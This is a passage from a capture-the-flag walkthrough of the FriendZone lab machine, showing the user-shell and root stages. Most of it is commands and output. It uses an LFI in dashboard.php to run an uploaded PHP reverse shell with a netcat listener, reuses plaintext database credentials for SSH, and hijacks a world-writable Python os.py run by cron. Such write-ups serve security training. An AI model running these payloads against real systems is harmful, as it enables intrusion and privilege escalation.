PART 3 : Generate User Shell

  1. Exploit pagename parameter from https://administrator1.friendzone.red/dashboard.php

      Notes:
      • dashboard.php gets the filename of PHP files and then adds the extension .php
      • dashboard.php runs the file from the pagename parameter
      • Upload a malicious PHP file and access it using dashboard.php
  2. Explore https://uploads.friendzone.red

    • Page Source:

      <center><h2>Want to upload Stuff ??</h2></center>
      
      <form action="upload.php" method="post" enctype="multipart/form-data">
          Select an image to upload (only images):
          <input type="file" name="imageu" id="file">

          <input type="submit" value="Upload" name="Upload">
      </form>
      
      </body>
    • Test if it accepts non-image files

      • Create payload (test.php)
        echo "<?php echo \"hello world\"; ?>" > test.php
      • Response after uploading test.php
        Uploaded successfully !<br>1555476301

      Notes:

      • It accepts non-image files
      • The directory of the uploaded files is still unknown
    • Find the uploaded files

      gobuster -k -u https://uploads.friendzone.red/ -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x php,txt 
      # /files (Status: 301)

      # /note (Status: 200)

      Visiting https://uploads.friendzone.red/files/note

      under development !
      

      Notes:

      • Perhaps "under development" points to the Development share from earlier
  3. Check if test.php was really successfully uploaded

    • Reopen Development share:

      smbclient \\\\WORKGROUP\\Development -I 10.10.10.123 -N

      While inside the client:

      dir
      # .              D      0  Thu Jan 17 04:03:49 2019
      # ..             D      0  Thu Jan 24 05:51:02 2019

      Notes:

      • The Development share is still empty
    • Try to read the source code of upload.php

      /dashboard.php?image_id=a.jpg&pagename=php://filter/convert.base64-encode/resource=../uploads/upload

      Notes:

  4. Linking the Development share and dashboard.php

    • Upload test.php directly to the Development share

      smbclient \\\\WORKGROUP\\Development -c "put test.php test.php" -I 10.10.10.123 -N   
      # putting file test.php as \test.php (0.0 kb/s) (average 0.0 kb/s)

      Notes:

      • /etc/Files was commented for the Files share during share enumeration in enum4linux
      • Maybe files in the Development share are saved in /etc/Development
    • Attempt LFI at the /etc/Development directory using dashboard.php

      /dashboard.php?image_id=a.jpg&pagename=/etc/Development/test
      

      Page Source:

      <title>FriendZone Admin !</title>

      <center><h1>Something went worng ! , the script include wrong param !</h1></center>
      hello world

      Notes:

      • The files in the Development share are indeed saved in /etc/Development
    • Upload PHP reverse shell

      • Download shell from pentestmonkey
      • Update values of $ip and $port
      • Upload to the Development share
        smbclient \\\\WORKGROUP\\Development -c "put shell.php shell.php" -I 10.10.10.123 -N
        # putting file shell.php as \shell.php (7.0 kb/s) (average 7.0 kb/s)
    • Establish shell

      • Set-up local netcat listener:
        nc -lvp 4444
      • Run shell using dashboard.php:
        https://administrator1.friendzone.red/dashboard.php?image_id=a.jpg&pagename=/etc/Development/shell
        
    • While inside the shell:

      id
      # uid=33(www-data) gid=33(www-data) groups=33(www-data)
      
      cat /etc/passwd | grep bash
      # root:x:0:0:root:/root:/bin/bash
      # friend:x:1000:1000:friend,,,:/home/friend:/bin/bash
      
      find /var/www -name *conf* 2>/dev/null
      # /var/www/mysql_data.conf
      
      cat /var/www/mysql_data.conf

      /var/www/mysql_data.conf contents:

      for development process this is the mysql creds for user friend
      
      db_user=friend
      
      db_pass=Agpyu12!0.213$
      
      db_name=FZ
      

      Notes:

      • There exists a user named friend
      • There are credentials for friend in /var/www/mysql_data.conf
  5. Login via SSH as user (friend)

    ssh -l friend 10.10.10.123
    # [email protected]'s password: Agpyu12!0.213$
    • While inside shell:
      find ~ -name user.txt
      # /home/friend/user.txt
      
      cat /home/friend/user.txt
      # a9ed20acecd6c5b6b52f474e15ae9a11

PART 4 : Privilege Escalation (friend -> root)

  1. Download and upload pspy

    1. Check system architecture of FriendZone
      uname -op
      # x86_64 GNU/Linux
      Notes:
      • The system runs on 64-bit
    2. Upload pspy64 to FriendZone
      • Local terminal:
        python -m SimpleHTTPServer
        # Serving HTTP on 0.0.0.0 port 8000 ...
      • FriendZone terminal:
        wget http://10.10.12.72:8000/pspy64
        
        chmod +x pspy64
  2. Run pspy64

    ./pspy64
    # ...
    # 54:01 CMD: UID=0    PID=7356   | /bin/sh -c /opt/server_admin/reporter.py 
    # 54:01 CMD: UID=0    PID=7355   | /bin/sh -c /opt/server_admin/reporter.py 
    # 54:01 CMD: UID=0    PID=7354   | /usr/sbin/CRON -f
    # ...
    # 56:01 CMD: UID=0    PID=7456   | /bin/sh -c /opt/server_admin/reporter.py 
    # 56:01 CMD: UID=0    PID=7455   | /bin/sh -c /opt/server_admin/reporter.py 
    # 56:01 CMD: UID=0    PID=7454   | /usr/sbin/CRON -f 
    # ...
    # 58:02 CMD: UID=0    PID=7540   | /bin/sh -c /opt/server_admin/reporter.py 
    # 58:02 CMD: UID=0    PID=7539   | /bin/sh -c /opt/server_admin/reporter.py 
    # 58:02 CMD: UID=0    PID=7538   | /usr/sbin/CRON -f
    # ...

    Notes:

    • There is a script called reporter.py
    • It runs every two minutes
  3. Check reporter.py

    cat /opt/server_admin/reporter.py
    #!/usr/bin/python
    
    import os
    
    to_address = "[email protected]"
    from_address = "[email protected]"
    
    print "[+] Trying to send email to %s"%to_address
    
    #command = ''' mailsend -to [email protected] -from [email protected] -ssl -port 465 -auth -smtp smtp.gmail.co-sub scheduled results email +cc +bc -v -user you -pass "PAPAP"'''
    
    #os.system(command)
    
    # I need to edit the script later
    # Sam ~ python developer

    Notes:

    • The script runs in python2.7
    • Maybe we can override the os library
  4. Override the os library

    • Check the directory of reporter.py
      ls -la /opt | grep server_admin
      # drwxr-xr-x  2 root root 4096 Jan 24 00:57 server_admin
      Notes:
      • Non-root users cannot write to the directory
    • Check where os.py is saved
      find / -name os.py 2>/dev/null
      # /usr/lib/python3.6/os.py
      # /usr/lib/python2.7/os.py
      
      ls -la /usr/lib/python2.7/os.py
      # -rwxrwxrwx 1 root root 25912 Apr 17 08:33 /usr/lib/python2.7/os.py
      Notes:
      • os.py could be overwritten by anyone
    • Overwrite os.py
      echo "infile = open(\"/root/root.txt\", \"r\").read()" > /usr/lib/python2.7/os.py
      echo "outfile = open(\"/tmp/root.txt\", \"w\").write(infile)" >> /usr/lib/python2.7/os.py
      echo "outfile.close()" >> /usr/lib/python2.7/os.py
  5. After reporter.py runs again:

    cat /tmp/root.txt
    # b0e6c60b82cf96e9855ac1656a9e90c7
